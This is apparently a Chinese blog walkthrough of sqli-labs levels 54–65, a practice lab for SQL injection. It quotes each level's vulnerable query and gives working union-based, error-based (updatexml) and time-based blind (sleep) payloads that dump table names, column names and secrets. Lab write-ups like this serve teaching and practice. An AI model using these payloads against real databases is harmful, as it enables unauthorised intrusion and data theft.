sqli-labs之Page-4

第五十四关

题目给出了数据库名为challenges。

这一关是依旧字符型注入,但是尝试10次后,会强制更换表名等信息。所以尽量在认真思考后进行尝试

爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

爆列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='rnb0t4p7iq'--+

爆数据

?id=-1' union select 1,2,group_concat(id,0x3a,sessid,0x3a,secret_M7ZR,0x3a,tryy) from challenges.rnb0t4p7iq--+

将得到的密码,也就是secret_M7ZR里面的数据进行提交验证。当然表名、列名等信息会不同的。

第五十五关

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

除了单引号变为右括号和本关能尝试14次以外,其他同54关没有区别。

第五十六关

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

同54、55关差不多,只是需要')闭合,当然,也可以尝试14次。

第五十七关

$id= '"'.$id.'"';
$sql
="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

同54关差不多,只是需要双引号闭合。也可以尝试14次。

第五十八关

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

这一关无法使用union联合注入,所以考虑使用报错注入。

爆表名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

爆列名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='gshmaxznyj'),0x7e),1)--+

爆数据

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(secret_IWPF) from challenges.gshmaxznyj),0x7e),1)--+

第五十九关

$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

相比于58关没有单引号而已。

第六十关

$id = '("'.$id.'")';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

用")来闭合,其他一样。

第六十一关

$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

用'))来闭合,其他一样。

第六十二关

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

union联合注入和报错注入都没法用了。盲注,太灵性了,最多130次机会,可以用延迟注入慢慢试。

payload:

?id=1')and If(left((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1)='q',sleep(6),0)--+

正确就延迟,错误不延迟。

第六十三关

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

单引号闭合。

第六十四关

$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

))闭合。

第六十五关

$id = '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

")闭合。

posted @ 2020-03-16 20:04  Paddling  阅读(306)  评论(0编辑  收藏  举报